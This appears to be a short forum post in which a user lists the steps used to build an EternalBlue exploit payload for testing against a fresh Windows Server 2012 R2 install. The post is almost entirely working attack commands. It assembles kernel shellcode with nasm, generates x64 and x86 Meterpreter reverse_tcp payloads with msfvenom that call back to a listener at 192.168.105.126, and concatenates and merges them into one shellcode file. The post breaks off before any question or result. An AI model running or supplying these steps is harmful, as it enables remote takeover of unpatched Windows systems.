[xochilpili]

Hello,

Im doing some test with windows server 2012 r2 (fresh install), then using this steps:

nasm -f bin eternalblue_kshellcode_x64.asm
nasm -f bin eternalblue_kshellcode_x86.asm

msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o meterpreter_msf.bin EXITFUNC=thread LHOST=192.168.105.126 LPORT=4444

msfvenom -p windows/meterpreter/reverse_tcp -f raw -o meterpreter_msf_x86.bin EXITFUNC=thread LHOST=192.168.105.126 LPORT=4445

cat eternalblue_kshellcode_x64 meterpreter_msf.bin > meterpreter_payload.bin
cat eternalblue_kshellcode_x86 meterpreter_msf_x86.bin > meterpreter_msf_x86.bin

python eternalblue_sc_merge.py meterpreter_payload.bin meterpreter_msf_x86_payload.bin sc_all.bin
